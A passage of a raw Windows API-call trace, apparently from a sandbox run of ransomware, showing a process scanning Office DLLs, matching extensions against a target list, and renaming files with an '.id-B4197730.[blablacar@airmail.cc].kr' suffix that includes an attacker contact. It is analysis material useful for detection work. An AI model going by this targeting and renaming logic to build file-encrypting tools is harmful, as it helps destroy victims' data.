returned 4 [0184.443] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0184.443] lstrlenW (lpString=".7z") returned 3 [0184.443] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.443] lstrlenW (lpString=".dbf") returned 4 [0184.443] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.443] lstrlenW (lpString=".1cd") returned 4 [0184.443] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.443] lstrlenW (lpString=".jpg") returned 4 [0184.444] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0184.444] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0184.444] lstrlenW (lpString="C2R64.dll") returned 9 [0184.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.444] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1208928) returned 1 [0184.444] CloseHandle (hObject=0x518) returned 1 [0184.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll")) returned 0x420 [0184.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.445] lstrlenW (lpString=".doc") returned 4 [0184.445] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0184.445] lstrlenW (lpString=".docx") returned 5 [0184.445] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0184.445] lstrlenW (lpString=".pdf") returned 4 [0184.445] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0184.445] lstrlenW (lpString=".xls") returned 4 [0184.445] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0184.445] lstrlenW (lpString=".xlsx") returned 5 [0184.445] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0184.445] lstrlenW (lpString=".ppt") returned 4 [0184.445] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0184.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.445] lstrlenW (lpString=".zip") returned 4 [0184.445] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0184.445] lstrlenW (lpString=".rar") returned 4 [0184.445] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0184.445] lstrlenW (lpString=".bz2") returned 4 [0184.445] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0184.445] lstrlenW (lpString=".7z") returned 3 [0184.445] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0184.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.445] lstrlenW (lpString=".dbf") returned 4 [0184.445] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.445] lstrlenW (lpString=".1cd") returned 4 [0184.445] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0184.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.445] lstrlenW (lpString=".jpg") returned 4 [0184.445] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0184.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.446] lstrlenW (lpString=".doc") returned 4 [0184.446] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0184.446] lstrlenW (lpString=".docx") returned 5 [0184.446] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0184.446] lstrlenW (lpString=".pdf") returned 4 [0184.446] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0184.446] lstrlenW (lpString=".xls") returned 4 [0184.446] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0184.446] lstrlenW (lpString=".xlsx") returned 5 [0184.446] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0184.446] lstrlenW (lpString=".ppt") returned 4 [0184.446] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0184.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.446] lstrlenW (lpString=".zip") returned 4 [0184.446] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0184.446] lstrlenW (lpString=".rar") returned 4 [0184.446] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0184.446] lstrlenW (lpString=".bz2") returned 4 [0184.446] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0184.446] lstrlenW (lpString=".7z") returned 3 [0184.446] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0184.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.446] lstrlenW (lpString=".dbf") returned 4 [0184.446] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.446] lstrlenW (lpString=".1cd") returned 4 [0184.446] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0184.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0184.446] lstrlenW (lpString=".jpg") returned 4 [0184.446] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0184.447] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0184.447] lstrlenW (lpString="concrt140.dll") returned 13 [0184.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.447] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=332968) returned 1 [0184.447] CloseHandle (hObject=0x518) returned 1 [0184.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll")) returned 0x220 [0184.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.448] lstrlenW (lpString=".doc") returned 4 [0184.448] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0184.448] lstrlenW (lpString=".docx") returned 5 [0184.448] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0184.448] lstrlenW (lpString=".pdf") returned 4 [0184.448] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0184.448] lstrlenW (lpString=".xls") returned 4 [0184.448] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0184.448] lstrlenW (lpString=".xlsx") returned 5 [0184.448] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0184.448] lstrlenW (lpString=".ppt") returned 4 [0184.448] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0184.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.448] lstrlenW (lpString=".zip") returned 4 [0184.448] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0184.448] lstrlenW (lpString=".rar") returned 4 [0184.448] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0184.448] lstrlenW (lpString=".bz2") returned 4 [0184.448] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0184.448] lstrlenW (lpString=".7z") returned 3 [0184.448] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0184.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.448] lstrlenW (lpString=".dbf") returned 4 [0184.448] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.448] lstrlenW (lpString=".1cd") returned 4 [0184.448] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0184.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.448] lstrlenW (lpString=".jpg") returned 4 [0184.448] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0184.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.449] lstrlenW (lpString=".doc") returned 4 [0184.449] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0184.449] lstrlenW (lpString=".docx") returned 5 [0184.449] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0184.449] lstrlenW (lpString=".pdf") returned 4 [0184.449] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0184.449] lstrlenW (lpString=".xls") returned 4 [0184.449] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0184.449] lstrlenW (lpString=".xlsx") returned 5 [0184.449] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0184.449] lstrlenW (lpString=".ppt") returned 4 [0184.449] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0184.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.449] lstrlenW (lpString=".zip") returned 4 [0184.449] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0184.449] lstrlenW (lpString=".rar") returned 4 [0184.449] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0184.449] lstrlenW (lpString=".bz2") returned 4 [0184.449] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0184.449] lstrlenW (lpString=".7z") returned 3 [0184.449] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0184.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.449] lstrlenW (lpString=".dbf") returned 4 [0184.449] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.449] lstrlenW (lpString=".1cd") returned 4 [0184.449] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0184.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0184.449] lstrlenW (lpString=".jpg") returned 4 [0184.449] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0184.450] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0184.450] lstrlenW (lpString="mfc140u.dll") returned 11 [0184.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.450] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=5653664) returned 1 [0184.451] CloseHandle (hObject=0x518) returned 1 [0184.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll")) returned 0x220 [0184.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0184.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.451] lstrlenW (lpString=".doc") returned 4 [0184.451] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0184.451] lstrlenW (lpString=".docx") returned 5 [0184.451] lstrcmpiW (lpString1=".docx", lpString2="u.dll") returned -1 [0184.451] lstrlenW (lpString=".pdf") returned 4 [0184.451] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0184.451] lstrlenW (lpString=".xls") returned 4 [0184.451] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0184.451] lstrlenW (lpString=".xlsx") returned 5 [0184.451] lstrcmpiW (lpString1=".xlsx", lpString2="u.dll") returned -1 [0184.451] lstrlenW (lpString=".ppt") returned 4 [0184.451] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0184.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.451] lstrlenW (lpString=".zip") returned 4 [0184.451] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0184.451] lstrlenW (lpString=".rar") returned 4 [0184.452] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0184.452] lstrlenW (lpString=".bz2") returned 4 [0184.452] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0184.452] lstrlenW (lpString=".7z") returned 3 [0184.452] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0184.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.452] lstrlenW (lpString=".dbf") returned 4 [0184.452] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.452] lstrlenW (lpString=".1cd") returned 4 [0184.452] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0184.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.452] lstrlenW (lpString=".jpg") returned 4 [0184.452] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0184.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.452] lstrlenW (lpString=".doc") returned 4 [0184.452] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0184.452] lstrlenW (lpString=".docx") returned 5 [0184.452] lstrcmpiW (lpString1=".docx", lpString2="u.dll") returned -1 [0184.452] lstrlenW (lpString=".pdf") returned 4 [0184.452] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0184.452] lstrlenW (lpString=".xls") returned 4 [0184.452] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0184.452] lstrlenW (lpString=".xlsx") returned 5 [0184.452] lstrcmpiW (lpString1=".xlsx", lpString2="u.dll") returned -1 [0184.452] lstrlenW (lpString=".ppt") returned 4 [0184.452] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0184.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.452] lstrlenW (lpString=".zip") returned 4 [0184.452] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0184.452] lstrlenW (lpString=".rar") returned 4 [0184.453] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0184.453] lstrlenW (lpString=".bz2") returned 4 [0184.453] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0184.453] lstrlenW (lpString=".7z") returned 3 [0184.453] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0184.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.453] lstrlenW (lpString=".dbf") returned 4 [0184.453] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.453] lstrlenW (lpString=".1cd") returned 4 [0184.453] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0184.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0184.453] lstrlenW (lpString=".jpg") returned 4 [0184.453] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0184.453] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0184.453] lstrlenW (lpString="msvcp120.dll") returned 12 [0184.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.454] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=660136) returned 1 [0184.454] CloseHandle (hObject=0x518) returned 1 [0184.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll")) returned 0x220 [0184.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.455] lstrlenW (lpString=".doc") returned 4 [0184.455] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0184.455] lstrlenW (lpString=".docx") returned 5 [0184.455] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0184.455] lstrlenW (lpString=".pdf") returned 4 [0184.455] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0184.455] lstrlenW (lpString=".xls") returned 4 [0184.455] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0184.455] lstrlenW (lpString=".xlsx") returned 5 [0184.455] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0184.455] lstrlenW (lpString=".ppt") returned 4 [0184.455] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.455] lstrlenW (lpString=".zip") returned 4 [0184.455] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0184.455] lstrlenW (lpString=".rar") returned 4 [0184.455] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0184.455] lstrlenW (lpString=".bz2") returned 4 [0184.455] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0184.455] lstrlenW (lpString=".7z") returned 3 [0184.455] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.455] lstrlenW (lpString=".dbf") returned 4 [0184.455] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.455] lstrlenW (lpString=".1cd") returned 4 [0184.455] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.455] lstrlenW (lpString=".jpg") returned 4 [0184.455] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.456] lstrlenW (lpString=".doc") returned 4 [0184.456] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0184.456] lstrlenW (lpString=".docx") returned 5 [0184.456] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0184.456] lstrlenW (lpString=".pdf") returned 4 [0184.456] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0184.456] lstrlenW (lpString=".xls") returned 4 [0184.456] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0184.456] lstrlenW (lpString=".xlsx") returned 5 [0184.456] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0184.456] lstrlenW (lpString=".ppt") returned 4 [0184.456] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.456] lstrlenW (lpString=".zip") returned 4 [0184.456] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0184.456] lstrlenW (lpString=".rar") returned 4 [0184.456] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0184.456] lstrlenW (lpString=".bz2") returned 4 [0184.456] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0184.456] lstrlenW (lpString=".7z") returned 3 [0184.456] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.456] lstrlenW (lpString=".dbf") returned 4 [0184.456] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.456] lstrlenW (lpString=".1cd") returned 4 [0184.456] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0184.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll") returned 58 [0184.456] lstrlenW (lpString=".jpg") returned 4 [0184.456] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0184.457] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0184.457] lstrlenW (lpString="msvcp140.dll") returned 12 [0184.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.457] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=635040) returned 1 [0184.457] CloseHandle (hObject=0x518) returned 1 [0184.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll")) returned 0x220 [0184.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0184.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0184.458] lstrlenW (lpString=".doc") returned 4 [0184.458] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0184.458] lstrlenW (lpString=".docx") returned 5 [0184.458] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0184.458] lstrlenW (lpString=".pdf") returned 4 [0184.458] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0184.458] lstrlenW (lpString=".xls") returned 4 [0184.458] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0184.458] lstrlenW (lpString=".xlsx") returned 5 [0184.458] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0184.458] lstrlenW (lpString=".ppt") returned 4 [0184.458] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0184.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0184.458] lstrlenW (lpString=".zip") returned 4 [0184.458] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0184.458] lstrlenW (lpString=".rar") returned 4 [0184.458] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0184.458] lstrlenW (lpString=".bz2") returned 4 [0184.459] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0184.459] lstrlenW (lpString=".7z") returned 3 [0184.459] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0184.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0184.459] lstrlenW (lpString=".dbf") returned 4 [0184.459] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0184.788] SetFilePointerEx 